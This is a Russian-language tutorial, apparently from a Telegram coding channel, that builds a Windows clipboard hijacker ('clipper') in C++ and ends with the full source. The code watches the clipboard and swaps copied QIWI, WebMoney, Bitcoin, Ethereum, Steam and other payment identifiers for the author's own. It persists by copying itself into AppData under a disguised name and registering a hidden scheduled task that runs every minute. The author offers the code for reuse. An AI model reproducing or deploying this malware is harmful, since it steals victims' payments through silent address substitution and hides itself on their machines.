October 28, 2019

Клиппер на С++

Телеграм канал: https://t.me/CodingCommunity
Весь материал исключительно в ознакомительных целях.
Хотелось бы начать с того - почему я вообще сел писать клиппер на плюсах. У меня пригорело с одного поста который скинули в один чат:

И тут у меня пригорело, за это ЧУДО 1500... Я - не зная С++, имея гугл смог написать такой же за одну ночь. Почему не C#? Потому что на просторах интернета уже есть клиппер на C#, не хотелось повторять за кем то.
Ну как обычно - тут море ужасного кода, никого не призываю повторять за мной. Так что извините. Начинать мы будем с Инклюдов (#include), грубо говоря это как библиотеки в Python, #include нам говорит что надо подключить сторонний файл.

#include <iostream>
#include "windows.h"
#include "string.h"
#include <direct.h>
#include <shlobj.h>
#include "Shlwapi.h"
#include <sys/stat.h>
#include <Shellapi.h>

С этим разобрались. Ах, да, чуть не забыл, вам не обязательно качать Visual Studio для компиляции, можете поставить IDE Dev C++ и компилятор GCC, но тогда размер выходного файла у вас будет ~1.8 MB.

Далее давайте сразу объявим наши константы которые будут отвечать за ваши кошельки.

const char* QIWI = "+77005553535";
const char* WMR = "P123456789101";
const char* WMZ = "Z123456789101";
const char* WMX = "X123456789101";
const char* WMU = "U123456789101";
const char* BTC = "34xp4vRoCGJym3xR7yCVPFHoCNxv4Twseo";
const char* ETH = "0xc137a2e0d5176009c7ce88b9611b28a123c3881b";
const char* STEAM = "https://steamcommunity.com/tradeoffer/new/?partner=123123&token=qweqwe";
const char* DonAlerts = "https://www.donationalerts.com/r/qwe123";
const char* QiwiMe = "https://qiwi.me/qwe123";
const char* YandexDisk = "https://yadi.sk/d/qwe123";

Тут думаю и так понятно что в кавычки надо вставить ваши кошельки, задерживаться не будем, впереди куча всего интересного.

Далее будет просто огромная функция Main.

int main(){
	copy_me();
	while (true){
		if( OpenClipboard(NULL))
		{
		    std::string data = (char*)GetClipboardData(CF_TEXT);
		    	if (data.find("+7") == 0){
		    		const size_t len = strlen(QIWI) + 1;
		    		HGLOBAL hMem =  GlobalAlloc(GMEM_MOVEABLE, len);
		    		memcpy(GlobalLock(hMem), QIWI, len);
		    		GlobalUnlock(hMem);
		    		EmptyClipboard();
		    		SetClipboardData(CF_TEXT,hMem);
		    		
				} else if (data.find("P") == 0 && data.length() == 13){
					const size_t len = strlen(WMR) + 1;
		    		HGLOBAL hMem =  GlobalAlloc(GMEM_MOVEABLE, len);
		    		memcpy(GlobalLock(hMem), WMR, len);
		    		GlobalUnlock(hMem);
		    		EmptyClipboard();
		    		SetClipboardData(CF_TEXT,hMem);
				} else if (data.find("Z") == 0 && data.length() == 13){
					const size_t len = strlen(WMZ) + 1;
		    		HGLOBAL hMem =  GlobalAlloc(GMEM_MOVEABLE, len);
		    		memcpy(GlobalLock(hMem), WMZ, len);
		    		GlobalUnlock(hMem);
		    		EmptyClipboard();
		    		SetClipboardData(CF_TEXT,hMem);
				} else if (data.find("U") == 0 && data.length() == 13){
					const size_t len = strlen(WMU) + 1;
		    		HGLOBAL hMem =  GlobalAlloc(GMEM_MOVEABLE, len);
		    		memcpy(GlobalLock(hMem), WMU, len);
		    		GlobalUnlock(hMem);
		    		EmptyClipboard();
		    		SetClipboardData(CF_TEXT,hMem);
				} else if (data.find("X") == 0 && data.length() == 13){
					const size_t len = strlen(WMX) + 1;
		    		HGLOBAL hMem =  GlobalAlloc(GMEM_MOVEABLE, len);
		    		memcpy(GlobalLock(hMem), WMX, len);
		    		GlobalUnlock(hMem);
		    		EmptyClipboard();
		    		SetClipboardData(CF_TEXT,hMem);
				} else if (data.length() == 34){
					const size_t len = strlen(BTC) + 1;
		    		HGLOBAL hMem =  GlobalAlloc(GMEM_MOVEABLE, len);
		    		memcpy(GlobalLock(hMem), BTC, len);
		    		GlobalUnlock(hMem);
		    		EmptyClipboard();
		    		SetClipboardData(CF_TEXT,hMem);
				} else if (data.find("0x") == 0 && data.length() == 42){
					const size_t len = strlen(ETH) + 1;
		    		HGLOBAL hMem =  GlobalAlloc(GMEM_MOVEABLE, len);
		    		memcpy(GlobalLock(hMem), ETH, len);
		    		GlobalUnlock(hMem);
		    		EmptyClipboard();
		    		SetClipboardData(CF_TEXT,hMem);
				} else if (data.find("https://steamcommunity.com/tradeoffer/new/?partner=") == 0){
					const size_t len = strlen(STEAM) + 1;
		    		HGLOBAL hMem =  GlobalAlloc(GMEM_MOVEABLE, len);
		    		memcpy(GlobalLock(hMem), STEAM, len);
		    		GlobalUnlock(hMem);
		    		EmptyClipboard();
		    		SetClipboardData(CF_TEXT,hMem);
				} else if (data.find("https://www.donationalerts.com/r/") == 0){
					const size_t len = strlen(DonAlerts) + 1;
		    		HGLOBAL hMem =  GlobalAlloc(GMEM_MOVEABLE, len);
		    		memcpy(GlobalLock(hMem), DonAlerts, len);
		    		GlobalUnlock(hMem);
		    		EmptyClipboard();
		    		SetClipboardData(CF_TEXT,hMem);
				} else if (data.find("https://qiwi.me/") == 0){
					const size_t len = strlen(QiwiMe) + 1;
		    		HGLOBAL hMem =  GlobalAlloc(GMEM_MOVEABLE, len);
		    		memcpy(GlobalLock(hMem), QiwiMe, len);
		    		GlobalUnlock(hMem);
		    		EmptyClipboard();
		    		SetClipboardData(CF_TEXT,hMem);
				} else if (data.find("https://yadi.sk/d/") == 0){
					const size_t len = strlen(YandexDisk) + 1;
		    		HGLOBAL hMem =  GlobalAlloc(GMEM_MOVEABLE, len);
		    		memcpy(GlobalLock(hMem), YandexDisk, len);
		    		GlobalUnlock(hMem);
		    		EmptyClipboard();
		    		SetClipboardData(CF_TEXT,hMem);
				}
		
		               
		            CloseClipboard();
		
		    }
			Sleep(500);
	}
	return 0;
}

Вначале видно что мы вызываем другую функцию, но об этом чуть позже, Сначала мы запускаем бесконечный цикл который будет открывать буфер обмена каждые 0.5 секунд и проверять в нём текст, если он находит совпадения - он заменяет его. А теперь давайте займемся самым непонятным, разберём хотя бы один блок else if.
Да и кст, думаю что вам понятен принцип, так что вы сможете добавить свои кошельки которые вам нужны. Не вижу смысла расписывать, ведь вы у меня умные.

else if (data.find("P") == 0 && data.length() == 13){
		const size_t len = strlen(WMR) + 1;
		HGLOBAL hMem =  GlobalAlloc(GMEM_MOVEABLE, len);
		memcpy(GlobalLock(hMem), WMR, len);
		GlobalUnlock(hMem);
		EmptyClipboard();
		SetClipboardData(CF_TEXT,hMem);

Для начала мы проверяем, начинается ли строка в буфере обмена с символ "P", а так же необходимо что бы длинна строки была 13 символов, именно столько у кошельков WMR. Далее мы создаём переменную с длинной нашей строки и прибавляем единицу для символа /0. (Да, я тоже не особо понял зачем он там, но он там нужен, поверьте). Далее мы выделяем необходимое место в памяти, затем разблокируем её и добавляем в буфер обмена нашу константу с нашим WMR кошельком. Остальные else if как бы похожи, думаю принцип понятен.

Перейдем к функции copy_me()

void copy_me(){
	char* appdata = getenv("APPDATA");
	char* folder = "\\WinServer";

    char* rdy_folder = strcat(appdata, folder);
	if (!IsPathExist(rdy_folder)){
	    mkdir(rdy_folder);
	}

    TCHAR szEXEPath[ 2048 ];
	DWORD nChars = GetModuleFileName( NULL, szEXEPath, 2048 );

	char* file_name = "\\Win1337.exe";
	char* rdy_ext = strcat(rdy_folder, file_name);
	CopyFile(szEXEPath, rdy_ext, true);

	std::string st( "/create /sc MINUTE /mo 1 /tn \"Windows Service1337\" /tr " );
	std::string stw( rdy_folder );
	std::string stw2( " /f" );
	std::string rdy = st + stw + stw2;
	const char* teeeeeee = rdy.c_str();
	ShellExecute(NULL, "open", "schtasks.exe", teeeeeee, 0, SW_HIDE);

Ну что же, начнём с самого начала.

	char* appdata = getenv("APPDATA");
	char* folder = "\\WinServer";

Тут мы узнаем путь до папки AppData в которую в будущем будет помещена другая папки под названием WinServer, в неё мы будем закидывать копию нашей программы что бы та запускалась, но об этом чуть позже.

	char* rdy_folder = strcat(appdata, folder);
	if (!IsPathExist(rdy_folder)){
	mkdir(rdy_folder);
	}

Тут в первой строке мы соединяем нашу AppDat'у и нашу папку, попутно занося это в переменную rdy_folder, Далее мы вызываем функцию IsPathExist() которая на вход принимает путь до папки. И возвращает True или False в зависимости от результата.

bool IsPathExist(const std::string &s)
{
  struct stat buffer;
  return (stat (s.c_str(), &buffer) == 0);
}

Возвращает True если папка существует.

Но т.к. в первый наш запуск нам возвращается False то мы создаём папку.

	if (!IsPathExist(rdy_folder)){
	    mkdir(rdy_folder);
	}

Далее нам необходимо получить путь до нашего файла который запустил пользователь что бы в дальнейшем его скопировать.

	TCHAR szEXEPath[ 2048 ];
	DWORD nChars = GetModuleFileName( NULL, szEXEPath, 2048 );

2048 это размер пути, он может быть 35 или 36к символов, но думаю нам хватит 2к.
Далее нам необходимо скопировать наш файл в ту самую папку в AppData:

	char* file_name = "\\Win1337.exe";
	char* rdy_ext = strcat(rdy_folder, file_name);
	CopyFile(szEXEPath, rdy_ext, true);

Тут мы складываем пути до нашей папки в AppData и добавляем к нему наш файл. Затем используя функцию CopyFile просто копируем.

Далее нам необходимо создать службу которая будет запускать файл из нашей папки AppData каждую минуту.

	std::string st( "/create /sc MINUTE /mo 1 /tn \"Windows Service1337\" /tr " );
	std::string stw( rdy_folder );
	std::string stw2( " /f" );
	std::string rdy = st + stw + stw2;
	const char* teeeeeee = rdy.c_str();
	ShellExecute(NULL, "open", "schtasks.exe", teeeeeee, 0, SW_HIDE);

Сначала мы создаём строку с запросом, в ней пишем название службы и запуск службы каждую минуту.
Затем нам нужна наша папка, заносим её в отдельную переменную, затем заносим /f который должен быть в конце. Далее мы складываем 3 строки и переводим из string в char что бы ShellExecute это смог исполнить.

Так же немаловажный атрибут SW_HIDE который не позволяет нашей консоли открыться и делает её невидимой.

Можно было бы конечно скрыть папку в AppData но мы ведь тут с вами только ради ознакомления.
Чуть не забыл самое главное, при компиляции укажите флаг -mwindows что бы софт запускался без консоли.

Далее как обычно будет полный листинг программы:

#include <iostream>
#include "windows.h"
#include "string.h"
#include <direct.h>
#include <shlobj.h>
#include "Shlwapi.h"
#include <sys/stat.h>
#include <Shellapi.h>


const char* QIWI = "+77005553535";
const char* WMR = "P123456789101";
const char* WMZ = "Z123456789101";
const char* WMX = "X123456789101";
const char* WMU = "U123456789101";
const char* BTC = "34xp4vRoCGJym3xR7yCVPFHoCNxv4Twseo";
const char* ETH = "0xc137a2e0d5176009c7ce88b9611b28a123c3881b";
const char* STEAM = "https://steamcommunity.com/tradeoffer/new/?partner=123123&token=qweqwe";
const char* DonAlerts = "https://www.donationalerts.com/r/qwe123";
const char* QiwiMe = "https://qiwi.me/qwe123";
const char* YandexDisk = "https://yadi.sk/d/qwe123";


// Проверяем есть ли такая папка
bool IsPathExist(const std::string &s)
{
  struct stat buffer;
  return (stat (s.c_str(), &buffer) == 0);
}

void copy_me(){
	char* appdata = getenv("APPDATA");
	char* folder = "\\WinServer";
	
	char* rdy_folder = strcat(appdata, folder);
	if (!IsPathExist(rdy_folder)){
	mkdir(rdy_folder);
	}
	
	// Получаем путь откуда запущен файл
	TCHAR szEXEPath[ 2048 ];
	DWORD nChars = GetModuleFileName( NULL, szEXEPath, 2048 );
	
	// Копируем файл
	char* file_name = "\\Win1337.exe";
	char* rdy_ext = strcat(rdy_folder, file_name);
	CopyFile(szEXEPath, rdy_ext, true);
	// Создаём слжбу
	std::string st( "/create /sc MINUTE /mo 1 /tn \"Windows Service1337\" /tr " );
	std::string stw( rdy_folder );
	std::string stw2( " /f" );
	std::string rdy = st + stw + stw2;
	const char* teeeeeee = rdy.c_str();
	ShellExecute(NULL, "open", "schtasks.exe", teeeeeee, 0, SW_HIDE);	
}

int main(){
	copy_me();
	while (true){
		if( OpenClipboard(NULL))
		{
		    std::string data = (char*)GetClipboardData(CF_TEXT);
		    	if (data.find("+7") == 0){
		    		const size_t len = strlen(QIWI) + 1;
		    		HGLOBAL hMem =  GlobalAlloc(GMEM_MOVEABLE, len);
		    		memcpy(GlobalLock(hMem), QIWI, len);
		    		GlobalUnlock(hMem);
		    		EmptyClipboard();
		    		SetClipboardData(CF_TEXT,hMem);
		    		
				} else if (data.find("P") == 0 && data.length() == 13){
					const size_t len = strlen(WMR) + 1;
		    		HGLOBAL hMem =  GlobalAlloc(GMEM_MOVEABLE, len);
		    		memcpy(GlobalLock(hMem), WMR, len);
		    		GlobalUnlock(hMem);
		    		EmptyClipboard();
		    		SetClipboardData(CF_TEXT,hMem);
				} else if (data.find("Z") == 0 && data.length() == 13){
					const size_t len = strlen(WMZ) + 1;
		    		HGLOBAL hMem =  GlobalAlloc(GMEM_MOVEABLE, len);
		    		memcpy(GlobalLock(hMem), WMZ, len);
		    		GlobalUnlock(hMem);
		    		EmptyClipboard();
		    		SetClipboardData(CF_TEXT,hMem);
				} else if (data.find("U") == 0 && data.length() == 13){
					const size_t len = strlen(WMU) + 1;
		    		HGLOBAL hMem =  GlobalAlloc(GMEM_MOVEABLE, len);
		    		memcpy(GlobalLock(hMem), WMU, len);
		    		GlobalUnlock(hMem);
		    		EmptyClipboard();
		    		SetClipboardData(CF_TEXT,hMem);
				} else if (data.find("X") == 0 && data.length() == 13){
					const size_t len = strlen(WMX) + 1;
		    		HGLOBAL hMem =  GlobalAlloc(GMEM_MOVEABLE, len);
		    		memcpy(GlobalLock(hMem), WMX, len);
		    		GlobalUnlock(hMem);
		    		EmptyClipboard();
		    		SetClipboardData(CF_TEXT,hMem);
				} else if (data.length() == 34){
					const size_t len = strlen(BTC) + 1;
		    		HGLOBAL hMem =  GlobalAlloc(GMEM_MOVEABLE, len);
		    		memcpy(GlobalLock(hMem), BTC, len);
		    		GlobalUnlock(hMem);
		    		EmptyClipboard();
		    		SetClipboardData(CF_TEXT,hMem);
				} else if (data.find("0x") == 0 && data.length() == 42){
					const size_t len = strlen(ETH) + 1;
		    		HGLOBAL hMem =  GlobalAlloc(GMEM_MOVEABLE, len);
		    		memcpy(GlobalLock(hMem), ETH, len);
		    		GlobalUnlock(hMem);
		    		EmptyClipboard();
		    		SetClipboardData(CF_TEXT,hMem);
				} else if (data.find("https://steamcommunity.com/tradeoffer/new/?partner=") == 0){
					const size_t len = strlen(STEAM) + 1;
		    		HGLOBAL hMem =  GlobalAlloc(GMEM_MOVEABLE, len);
		    		memcpy(GlobalLock(hMem), STEAM, len);
		    		GlobalUnlock(hMem);
		    		EmptyClipboard();
		    		SetClipboardData(CF_TEXT,hMem);
				} else if (data.find("https://www.donationalerts.com/r/") == 0){
					const size_t len = strlen(DonAlerts) + 1;
		    		HGLOBAL hMem =  GlobalAlloc(GMEM_MOVEABLE, len);
		    		memcpy(GlobalLock(hMem), DonAlerts, len);
		    		GlobalUnlock(hMem);
		    		EmptyClipboard();
		    		SetClipboardData(CF_TEXT,hMem);
				} else if (data.find("https://qiwi.me/") == 0){
					const size_t len = strlen(QiwiMe) + 1;
		    		HGLOBAL hMem =  GlobalAlloc(GMEM_MOVEABLE, len);
		    		memcpy(GlobalLock(hMem), QiwiMe, len);
		    		GlobalUnlock(hMem);
		    		EmptyClipboard();
		    		SetClipboardData(CF_TEXT,hMem);
				} else if (data.find("https://yadi.sk/d/") == 0){
					const size_t len = strlen(YandexDisk) + 1;
		    		HGLOBAL hMem =  GlobalAlloc(GMEM_MOVEABLE, len);
		    		memcpy(GlobalLock(hMem), YandexDisk, len);
		    		GlobalUnlock(hMem);
		    		EmptyClipboard();
		    		SetClipboardData(CF_TEXT,hMem);
				}
		
		               
		            CloseClipboard();
		
		    }
			Sleep(500);
	}
	return 0;
}
Прошу меня простить за мой ужасный код, вы всегда можете модифицировать мой код и использовать как хотите, я не несу за это ответственности.